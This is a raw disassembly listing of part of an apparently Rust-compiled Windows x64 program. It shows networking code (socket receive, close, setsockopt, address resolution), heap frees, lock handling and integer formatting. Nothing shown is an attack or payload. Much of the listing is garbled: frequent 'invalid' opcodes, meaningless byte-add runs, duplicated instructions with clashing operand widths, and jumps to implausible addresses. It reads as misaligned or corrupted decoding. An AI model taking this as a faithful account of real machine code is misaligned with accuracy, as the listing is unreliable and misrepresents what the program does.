pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
lea rcx, [rax + rax]
cmp rcx, 5
stc
add eax, 0x4bf
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
stc
add eax, 0x4bf
add al, 0
invalid
add al, 0
add byte [rax], al
invalid
add byte [rax + 0xf], cl
cmovae rdi, rcx
stc
xor edx, edx
mov rcx, rdi
stc
ror byte [rax - 0x77], cl
stc
shr rcx, 0x3b
sete dl
mov r8, rdi
shl r8, 4
shl rdx, 3
test rax, rax
je 0x14012c8c6
mov rcx, qword [rsi]
shl rax, 4
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 8
mov qword [rsp + 0x38], rax
jmp 0x14012c8cf
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
call fcn.140058090
cmp qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x48]
je 0x14012c906
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14012c90d
test rcx, rcx
jne 0x14012c914
call fcn.1400138d0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.14015d7f0
ud2
mov eax, ecx
and eax, 3
cmp eax, 1
jne 0x14012cbd5
lea rsi, [rcx - 1]
mov rdi, qword [rcx - 1]
mov rbx, qword [rcx + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14012cbc3
cmp qword [rbx + 0x10], 0x11
jb 0x14012cbb1
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x70], rax
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
cmp r13, r12
je 0x14012cdcf
lea rbp, [rsp + 0x7a]
xor ebx, ebx
lea r14, [rsp + 0x48]
lea rsi, [rsp + 0x78]
mov qword [rsp + 0xb8], r12
mov dword [rsp + 0xb8], esp
mov dword [rsp + 0xb8], esp
jmp 0x14012cd32
nop word [rax + rax]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec rdi
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14, rsi
mov rsi, r12
mov r12, qword [rsp + 0xb8]
add r13, 0x20
cmp r13, r12
je 0x14012cdd1
mov rdi, rbx
movzx eax, word [r13]
movups xmm0, xmmword [r13 + 0x10]
movups xmmword [rsp + 0x2e], xmm0
movups xmm0, xmmword [r13 + 2]
movaps xmmword [rsp + 0x20], xmm0
cmp ax, 2
je 0x14012cec1
invalid
add dword [rax], eax
invalid
imul eax, dword [rcx], 0x89660000
and al, 0x78
mov word [rsp + 0x78], ax
movups xmm0, xmmword [rsp + 0x2e]
and al, 0x2e
movups xmmword [rbp + 0xe], xmm0
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rbp], xmm0
mov rcx, r14
xor edx, edx
mov r8, rsi
call fcn.14013ef20
and dword [rcx], eax
add byte [rax - 0x7d], cl
jl 0x14012cda4
add byte [rdi], cl
test byte [rbp + 1], cl
add byte [rax], al
invalid
and dword [rcx], eax
add byte [rax - 0x7d], cl
jl 0x14012cda4
add byte [rdi], cl
test byte [rbp + 1], cl
add byte [rax], al
invalid
add byte [rax - 0x75], cl
pop rsp
and al, 0x50
mov rbx, qword [rsp + 0x50]
test rdi, rdi
test edi, edi
je 0x14012cd25
mov eax, edi
and eax, 3
loopne 0x14012cd9a
loopne 0x14012cd9a
cmp eax, 1
jne 0x14012cd25
mov r12, rsi
mov rsi, r14
mov r15, qword [rdi - 1]
mov edi, dword [rdi - 1]
mov edi, dword [rdi - 1]
jg 0x14012cda5
dec dword [rbx + rcx*4 + 0x77]
invalid
mov r14, qword [rdi + 7]
mov rcx, r15
call qword [r14]
cmp qword [r14 + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x14012cd02
invalid
cmp qword [r14 + 0x10], 0x11
jb 0x14012ccf0
adc dword [rdi], ecx
invalid
mov r15, qword [r15 - 8]
jmp 0x14012ccf0
invalid
invalid
invalid
xor ebx, ebx
cmp qword [rsp + 0x70], 0
je 0x14012cded
and al, 0x70
add byte [rsp + rdx + 0x48], dh
mov ecx, dword [0x140215360]
or eax, 0xe8580
mov rcx, qword [0x140215360]
or eax, 0xe8580
xor edx, edx
mov r8, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
mov dl, 3
invalid
cmp esi, dword [rdx - 0x7ab7fffd]
fisttp dword [rax - 0x73]
lea rcx, str.could_not_resolve_to_any_addresses
test rbx, rbx
lea rcx, str.could_not_resolve_to_any_addresses
cmovne rcx, rbx
jmp 0x14012cb84
invalid
invalid
invalid
test byte [rdx - 3], bh
invalid
ret 0x8349
xor edx, edx
xor eax, eax
nop word [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
movzx r11d, byte [r9 + rdx]
movzx ebx, byte [rcx + rdx]
add r11d, 0xffffffd0
cmp r11d, 9
ja 0x14012cb84
push rcx
std
invalid
invalid
rol byte [rcx - 0x7d], 1
sti
or dword [rdi], ecx
xchg dword [rcx - 3], edx
push rcx
std
push rcx
std
invalid
add eax, eax
lea eax, [rax + rax*4]
add al, 0x80
add al, 0x80
add eax, r11d
inc rdx
ret 0x3949
sal byte [rbp - 0x23], cl
ret 0x3949
mov qword [rsp + 0x78], rsi
mov dword [rsp + 0x78], esi
mov qword [rsp + 0x80], r8
mov word [rsp + 0x88], ax
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x20]
and al, 0x80
add byte [rax], al
add byte [rsi - 0x77], ah
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
lea rdx, [rsp + 0x78]
and al, 0x78
call fcn.1401392c0
cmp qword [rsp + 0x20], 0
je 0x14012cf5a
test bh, ah
add byte [rax], al
invalid
test bh, ah
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x28]
and al, 0x28
jmp 0x14012cb84
inc dword [rbp + 0x31]
invalid
mov rbx, rdi
cmp qword [rsp + 0x70], 0
jne 0x14012cdd9
jmp 0x14012cded
mov rbx, qword [rsp + 0x50]
cmp qword [rsp + 0x70], 0
je 0x14012cef6
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rdi, rdi
je 0x14012cf4c
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14012cf4c
lea rsi, [rdi - 1]
mov r14, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14012cf3a
cmp qword [rdi + 0x10], 0x11
jb 0x14012cf28
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x3b0ee
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x14012cbd5
mov rax, qword [rsp + 0x28]
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0xc8], xmm0
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x48
lea rdx, [rsp + 0xc0]
call fcn.1401394c0
mov rax, qword [rsp + 0x48]
test rax, rax
jne case.0x14005f6a2.2956
mov rcx, qword [rsp + 0x50]
jmp 0x14012cb84
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x60]
call fcn.140161360
ud2
int3
in al, dx
pop rax
mov rax, qword [rsp + 0x80]
cmp r8, rax
jb 0x14012df46
lea r10, [rax + 1]
cmp r10, r8
cmp edx, eax
cmp edx, eax
jb 0x14012df46
mov qword [rcx], rdx
mov qword [rcx + 8], r8
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], rax
add rsp, 0x58
ret
lea rax, str.invalid_args
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 1
lea rax, [0x140204680]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rsIndex_out_of_bounds
lea rcx, [rsp + 0x28]
call fcn.140160e20
ud2
lea edx, str.NtReleaseKeyedEvent
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14012e1e3
lea rax, case.0x1400e7c4b.484
mov qword [0x140215060], rax
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
mov r9, rsi
mov ecx, esi
mov ecx, esi
int1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
invalid
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x60]
invalid
invalid
mov qword [rbp - 8], 0xfffffffffffffffe
lea rax, str.keyed_events_not_availableV
dec dword [rax - 0x73]
add eax, 0xaf047
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
mov dword [rbp - 0x30], 1
add byte [rax - 0x73], cl
add eax, 0xd6444
invalid
lea rax, [0x140204680]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
loopne 0x14012e290
lea edx, [0x1401dd2d0]
loopne 0x14012e290
lea edx, [0x1401dd2d0]
adc eax, 0xaf082
lea rcx, [rbp - 0x38]
call fcn.140160e20
ud2
sub eax, dword [rbx]
add byte [rdi], cl
or ecx, dword [rdi]
invalid
invalid
nop dword [rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x48], dl
sub esp, 0x20
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x60]
call fcn.140161360
ud2
invalid
or ecx, esp
int3
int3
push rdi
sub rsp, 0xb8
mov eax, 0x49000000
mov edx, edx
mov eax, 0x49000000
mov edx, edx
mov rax, qword [rcx]
mov ecx, dword [rdx + 0x34]
xor al, 0xf6
xor al, 0xf6
test cl, 0x10
jne case.0x1400e8b28.444
test ebx, edx
add byte [rax], al
add byte [rax], al
rcl dword [rax], 0xf
test ebx, edx
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
test cl, 0x20
jne case.0x140103f8e.479
add dword [rax], eax
invalid
shl dword [rax], 0xf
test dword [rdi], ecx
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rax]
mov eax, 0x27
mov rcx, qword [rax]
mov ecx, dword [rax]
mov eax, 0x27
cmp rcx, 0x2710
jb 0x14012e43f
invalid
xchg byte [rcx], al
add byte [rax], al
mov r11d, 0x27
movabs r8, 0x346dc5d63886594b
mov eax, 0x3886594b
invalid
invalid
insd dword [rdi], dx
invalid
invalid
add byte [rax], al
add byte [rcx - 0x48], cl
invalid
pop r9
pop rcx
mov eax, 0x3886594b
pop rcx
xchg byte [rax], bh
invalid
invalid
lea r9, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
mov rax, rcx
mul r8
loopne case.0x1400e6090.483
shr edx, 0xb
shr edx, 0xb
or ebp, dword [rcx - 0x3e]
imul eax, edx, 0x2710
adc byte [rdi], ah
add byte [rax], al
mov esi, ecx
sub esi, eax
invalid
imul edi, esi, 0x147b
invalid
jnp case.0x1400ea9e6.425
adc al, 0
invalid
invalid
invalid
adc al, 0
add cl, al
invalid
out dx, eax
shr edi, 0x13
imul eax, edi, 0x64
invalid
sub esi, eax
invalid
adc ebp, dword [rbx - 0x39]
sub esi, eax
invalid
invalid
movzx esi, si
mov bh, 0xf6
lea rax, [r11 - 4]
movzx edi, word [r9 + rdi*2]
movzx edi, word [rcx + rdi*2]
movzx edi, word [rcx + rdi*2]
cmp al, 0x79
mov word [rsp + r11 + 0x34], di
movzx esi, word [r9 + rsi*2]
movzx esi, word [rcx + rsi*2]
jl case.0x1400e6090.483
xor al, 0x41
movzx esi, word [rcx + rsi*2]
jno 0x14012e370
mov word [rsp + r11 + 0x36], si
mov dword [rsp + r11 + 0x36], esi
je 0x14012e32a
sbb al, 0x36
mov r11, rax
mov r11, rax
ret
cmp rcx, 0x5f5e0ff
loopne 0x14012e30d
add eax, 0x77d18948
mov rcx, rdx
ja case.0x1400e7c4b.489
invalid
mov dl, 0x48
cmp rdx, 0x63
cmp edx, 0x63
jbe case.0x1400e91e9.453
movzx ecx, dx
retf 0xe9c1
shr ecx, 2
imul ecx, ecx, 0x147b
leave
jnp case.0x1400e6090.488
invalid
adc al, 0
add cl, al
jmp 0x1017e2747
adc dword [rbx + rbp*2 - 0x3f], eax
add byte [rax], al
shr ecx, 0x11
imul r8d, ecx, 0x64
imul eax, ecx, 0x64
adc dword [rbx + rbp*2 - 0x3f], eax
sub edx, r8d
invalid
imul eax, ecx, 0x64
shl dword [rsp + rax*2 + 0x29], 0xc2
sub edx, r8d
ret 0xb70f
movzx edx, dx
mov bh, 0xd2
ror byte [rbp + rcx*4 + 5], cl
lea r8, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
movzx edx, word [r8 + rdx*2]
adc al, 0x50
scasq rax, qword [rdi]
invalid
add byte [rcx + 0xf], al
mov bh, setsockopt
adc al, 0x50
adc al, 0x50
mov word [rsp + rax + 0x36], dx
mov dword [rsp + rax + 0x36], edx
add rax, 0xfffffffffffffffe
sar dh, 0x48
mov edx, ecx
dec byte [rax - 0x77]
retf 0x8348
invalid
invalid
mov rdx, rcx
cmp rdx, 0xa
cli
or cl, byte [rdi]
xor edx, 0
add byte [rax], al
invalid
jae case.0x1400e91e9.490
add byte [rax], al
add byte [rax + 0x548830c2], al
add dl, 0x30
mov byte [rsp + rax + 0x37], dl
push rsp
add al, 0x37
push rsp
add al, 0x37
invalid
dec rax
dec eax
jmp case.0x140103151.338
test dword [rax], 0x8b480000
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rax]
adc byte [rcx - 0x48], al
mov r8d, 0x81
add dword [rax], 0x30b80000
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x30], bh
xor byte [rax], al
add byte [rax], al
add byte [rax], al
mov eax, 0x30
xor byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
rcl dword [rax + 0x49c1894c]
nop
mov rcx, r8
shr r9, 4
mov r9, rdx
nop
mov rcx, r8
mov ecx, eax
ror dword [rcx - 0x3f], 0xe9
shr r9, 4
add al, 0x41
mov r8d, edx
mov eax, edx
rol byte [rcx - 0x80], 1
loopne case.0x1400e8a72.457
invalid
and r8b, 0xf
cmovno eax, dword [rax - 0x44bef508]
cmp r8b, 0xa
cmp al, 0xa
clc
or al, byte [rcx - 0x45]
mov r11d, 0x57
push rdi
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi + rcx + 0x42], al
cmovb r11d, eax
cmovb ebx, eax
fadd dword [rbp]
add r11b, r8b
add bl, al
ret
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
lea r8, [rcx - 1]
lea eax, [rcx - 1]
dec dword [r8 - 0x7d]
dec dword [rax - 0x7d]
cmp rdx, 0x10
cmp edx, 0x10
cli
adc byte [rcx + rcx*4 - 0x36], cl
mov rdx, r9
mov edx, ecx
retf 0xcf73
jae 0x14012e380
iretd
jmp case.0x1400e8b28.465
mov rdx, qword [rax]
mov rdx, qword [rax]
mov edx, dword [rax]
adc byte [rcx - 0x48], al
add dword [rax], 0x30b80000
add byte [rax], al
invalid
invalid
invalid
mov r8d, 0x81
mov eax, 0x81
add byte [rax], al
add byte [rax], al
add byte [rax + 0x30], bh
mov eax, 0x30
add byte [rax], al
add byte [rcx - 0x77], cl
mov r9, rdx
mov ecx, edx
shl dword [rsi + 0x66], 1
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x3f], cl
mov rcx, r8
mov ecx, eax
shr r9, 4
jmp 0x1109c24de
add al, 0x41
mov r8d, edx
mov eax, edx
and r8b, 0xf
loopne case.0x1400ea9e6.437
cmovno eax, dword [rax - 0x44bef508]
cmp r8b, 0xa
cmp al, 0xa
or al, byte [rcx - 0x45]
mov r11d, 0x37
mov ebx, 0x37
invalid
add byte [rax], al
add byte [rdi + rcx + 0x42], al
invalid
invalid
invalid
add byte [rax], al
cmovb r11d, eax
fadd dword [rbp]
fadd dword [rbp]
add r11b, r8b
add bl, al
ret
mov byte [rsp + rcx + 0x36], r11b
pop rsp
or al, 0x36
lea r8, ss:[rcx - 1]
lea r8, [rcx - 1]
dec dword [r8 - 0x7d]
cmp rdx, 0x10
cmp edx, 0x10
cli
adc byte [rcx + rcx*4 - 0x36], cl
mov rdx, r9
mov edx, ecx
jae case.0x1400e8b28.458
iretd
add rcx, 0xfffffffffffffffe
add ecx, 0xfffffffe
dec byte [rax - 0x7f]
cmp rcx, 0x80
cmp ecx, 0x80
stc
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
ja 0x14012e49e
xchg dword [rax + rax - 0x7e480000], ecx
mov word [rax], es
add byte [rax], al
add byte [rax], al
add byte [rax + 0x81], bh
mov eax, 0x81
add byte [rax], al
add byte [rax], al
add byte [rcx + rbp - 0x40], cl
sub rax, r8
ror byte [rax + 1], 0xe1
add rcx, rsp
add ecx, esp
loope 0x14012e466
add rcx, 0x38
add ecx, 0x38
cmp byte [rax - 0x77], cl
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
and al, 0x28
and al, 0x28
sub byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
and byte [rbp + rcx*4 + 5], cl
lea r8, [0x140204ae8]
lea eax, [0x140204ae8]
mov dh, 0x66
or eax, 0x2b94100
add byte [rcx - 0x47], al
mov r9d, 2
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x2f], cl
mov rcx, r10
mov ecx, edx
sal dword [rdx + 0x484feb01], 1
mov dl, 1
jmp case.0x1400ea9e6.460
invalid
add ebx, ebp
mov rdx, rcx
mov rdx, rcx
mov edx, ecx
retf 0x8348
cmp rdx, 0x63
cmp edx, 0x63
cli
invalid
ja case.0x1400e7c4b.501
xchg eax, ebx
fdivr st(6)
invalid
invalid
jmp case.0x1400e91e9.453
invalid
invalid
lea rcx, str.00010203040506070809101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899
or eax, 0x7ae38
scasb al, byte [rdi]
invalid
movzx ecx, word [rcx + rdx*2]
or al, 0x51
mov word [rsp + rax + 0x36], cx
mov dword [rsp + rax + 0x36], ecx
add rax, 0xfffffffffffffffe
sar dh, 0x48
dec byte [rax - 0x73]
or al, 4
lea rcx, [rsp + rax]
lea ecx, [rsp + rax]
add rcx, 0x38
add ecx, 0x38
sar dword [rax], 0xba
invalid
cmp byte [rdx + 0x27], bh
mov edx, 0x27
add byte [rax + 0x29], cl
sub rdx, rax
ret 0x8948
mov qword [rsp + 0x28], rdx
sub byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rcx
lea r8, [0x140204680]
lea eax, [0x140204680]
mov rcx, r10
mov ecx, edx
mov dl, 1
xor r9d, r9d
xor ecx, ecx
call fcn.140059040
nop
add rsp, 0xb8
add esp, 0xb8
add byte [rax], al
pop rdi
pop rsi
ret
lea r8, str.librarycore_src_fmt_num.rs
mov bl, 0xe8
add eax, dword [rax]
add byte [rdx + 0x80], bh
mov edx, 0x80
add byte [rax], al
add al, ch
call fcn.140160e60
mov cl, 0x29
add eax, dword [rax]
invalid
add byte [rdi], cl
or ecx, esp
int3
ud2
int3
int3
int3
int3
sub esp, 0x28
sub byte [rax - 0x75], cl
add dword [rax - 0x77], ecx
mov qword [rsp + 0x20], rax
mov rax, qword [rcx]
mov eax, dword [rcx]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, [rsp + 0x20]
call fcn.14012e4e0
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
invalid
ret
int3
int3
int3
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rax, qword [rcx]
invalid
clc
clc
invalid
add dword [rax + 0xc60038], eax
add byte [rdi], cl
invalid
test byte [rax + 1], bl
cmp byte [rax], 0
mov byte [rax], 0
add byte [rax], al
je case.0x14010af64.293
add byte [rax], al
add dh, al
mov byte [rbp - 9], 0
mov rax, qword [0x1402152d8]
mov eax, dword [0x1402152d8]
test dword [r8], 0xcc058b48
add byte [rax - 0x75], cl
add eax, 0xe6dcc
insd dword [rdi], dx
invalid
cmp rax, 3
clc
add ecx, dword [rdi]
invalid
test dword [rax], edx
add dword [rax], eax
jne case.0x140105a85.336
add byte [rax + 0xf00f77d], al
cmp byte [rbp - 9], 0
jne case.0x14010461e.345
sbb dword [rcx], eax
add byte [rax], al
jge case.0x1400fd850.378
add byte [rdi], cl
test dword [rcx], ebx
add dword [rax], eax
add byte [rax], al
mov rax, qword [0x1402152a0]
sbb dword [rcx], eax
add byte [rax], al
mov rax, qword [0x1402152a0]
jns 0x14012e592
invalid
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
and eax, 0x58
iretd
outsb dx, byte [rsi]
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
and eax, 0x58
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
or al, 0xca
lea rcx, [rcx + 0x51]
add byte [rax], al
add byte [rax + 0x39], cl
cmp rax, rcx
jne 0x14012e56a
invalid
add byte [rax], al
cmp rax, rcx
jne 0x14012e56a
and al, 0x8b
mov eax, dword [0x1402152d0]
add eax, 0xe6d84
test byte [rbp + 0xe], ch
add bh, bh
invalid
inc eax
sal byte [rbp + 0x55], 0x48
lea ecx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
xlatb
or al, byte [rax]
jne case.0x140107dc6.305
push rbp
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
cdq
xlatb
or al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1401dbd38]
add eax, 0xad7da
fcmovbe st(0), st(7)
xlatb
or al, byte [rax]
add byte [rdx + 0x26], bh
mov edx, 0x26
add byte [rax], al
add al, ch
call fcn.140161290
sub byte [0x14b21e56d], ch
add byte [rdi], cl
ud2
or ecx, dword [rax - 0x73]
or eax, 0xe6d27
insd dword [rdi], dx
invalid
invalid
lea rcx, [0x140215298]
lea ecx, [0x140215298]
insd dword [rdi], dx
invalid
add bh, bh
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
adc eax, 0x39b61
add eax, dword [rax]
add byte [rax + rax*8 + 0xba840f], al
test al, al
je case.0x14010461e.345
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xe6e7705], cl
mov eax, dword [0x1402153fc]
add eax, 0xe6e77
invalid
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov rax, qword [rcx + rax*8]
add al, 0xc1
ror dword [rax - 0x73], 0x80
lea rax, [rax + 0x51]
lea eax, [rax + 0x51]
push rcx
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
add eax, 0xe6d00
add byte [rbp + 0xe], ch
invalid
mov qword [0x1402152a0], rax
mov dword [0x1402152a0], eax
add byte [rbp + 0xe], ch
invalid
add byte [rax + 1], bh
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov dword [0x1402152d0], eax
add eax, 0xe6d25
and eax, 0x48000e6d
insd dword [rdi], dx
invalid
add byte [rax - 0x39], cl
mov qword [rbp - 0x30], 1
mov dword [rbp - 0x30], 1
rol byte [r9], 1
rol byte [rcx], 1
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
movups xmmword [rbp - 0x28], xmm0
fmul dword [r8 - 0x39]
mov qword [rbp - 0x1a], 0
mov dword [rbp - 0x1a], 0
out 0, al
out 0, al
add byte [rax], al
add byte [rax - 0x7d], cl
cmp qword [0x1402152a8], 0
cmp dword [0x1402152a8], 0
cmp eax, 0xe6cde
insb byte [rdi], dx
invalid
add byte [rax], al
add byte [rdi], cl
jne case.0x140105a85.348
test dword [rbx + 0x48000000], esp
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [0x1402152a8], 0xffffffffffffffff
mov dword [0x1402152a8], 0xffffffff
add eax, 0xe6ccd
insb byte [rdi], dx
invalid
add bh, bh
invalid
invalid
lea rcx, [0x1402152b0]
or eax, 0xe6cce
invalid
insb byte [rdi], dx
invalid
call case.0x14011a815.256
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
adc byte [rbp - 0x30], al
invalid
invalid
movups xmm0, xmmword [rbp - 0x30]
ror byte [r15], 1
movups xmm1, xmmword [rbp - 0x20]
adc byte [rbp - 0x20], cl
loopne case.0x140107e15.310
loopne case.0x140107e15.310
movups xmmword [0x1402152c0], xmm1
adc dword [0x1402152c0], ecx
retf 0xe6c
insb byte [rdi], dx
invalid
add byte [rdi], cl
movups xmmword [0x1402152b0], xmm0
adc dword [0x1402152b0], eax
mov bl, 0x6c
insb byte [rdi], dx
invalid
add byte [rax - 1], cl
inc qword [0x1402152a8]
inc dword [0x1402152a8]
add eax, 0xe6ca4
movsb byte [rdi], byte [rsi]
insb byte [rdi], dx
invalid
add bh, bh
dec dword [0x1402152d0]
or eax, 0xe6cc6
insb byte [rdi], dx
invalid
add byte [rbp + 0x2d], dh
jne case.0x14010461e.345
mov qword [0x1402152a0], 0
mov dword [0x1402152a0], 0
add eax, 0xe6c89
mov dword [rsi + rcx], ebp
insb byte [rdi], dx
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xe6c7a
jp case.0x14010fda3.262
invalid
invalid
lea rcx, [0x140215298]
lea ecx, [0x140215298]
jp case.0x14010fda3.262
invalid
add bh, bh
adc eax, 0x39a2c
sub al, 0x9a
invalid
add eax, dword [rax]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
invalid
add eax, dword [rax]
add bl, ch
jmp case.0x14010461e.345
adc ecx, dword [rax - 0x73]
lea rcx, [rbp - 9]
imul r8
call fcn.140166490
invalid
jle case.0x140107dc6.325
add byte [rax + 0xf00f77d], al
cmp byte [rbp - 9], 0
test dword [rax], 0xfee7840f
add byte [rdi], cl
je case.0x14010c000.267
test bh, ah
out 0xfe, eax
invalid
invalid
dec dword [rax - 0x75]
add eax, 0xe6d28
insd dword [rdi], dx
invalid
invalid
mov rax, qword [0x140215368]
mov eax, dword [0x140215368]
insd dword [rdi], dx
invalid
add byte [rax - 0x7d], cl
clc
cmp rax, 3
cmp eax, 3
add esi, dword [rsi + rax + 0x48]
je case.0x140107e15.321
add rsp, 0x60
add esp, 0x60
pop rbp
ret
call qword [0x140215370]
adc eax, 0xe6d1e
invalid
nop
add rsp, 0x60
add esp, 0x60
add esp, 0x60
invalid
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
or eax, 0xd6d58
pop rax
insd dword [rdi], dx
or eax, 0x58d4c00
lea r8, str.library_std_src_synconce.rs
add eax, 0xad5a1
movabs eax, dword [0x2bba000ad5]
mov edx, 0x2b
add byte [rax], al
add al, ch
invalid
add byte [rax], al
call fcn.140160fb0
invalid
sub dword [rbx], eax
add byte [rdi], cl
or ecx, dword [rax - 0x73]
invalid
invalid
ud2
lea rax, str.library_std_srcio_stdio.rs
add eax, 0xacff6
iretd
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rax - 0x73], cl
lea rcx, str.already_borrowed8
or eax, 0xb0b3a
or ecx, dword [rbx]
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1401dadd0]
or eax, 0xac743
invalid
invalid
add byte [rbp + rcx*4 + 0x45], cl
lea r8, [rbp - 0xa]
idiv byte [rdx + 0x10]
mov edx, reloc.WS2_32.dll_recv
add byte [rax], al
add al, ch
invalid
call fcn.140161200
ud2
sub eax, dword gs:[rbx]
sub eax, dword [rbx]
add byte [rdi], cl
or ecx, dword [rdi]
invalid
invalid
add byte [rax - 0x77], cl
push rsp
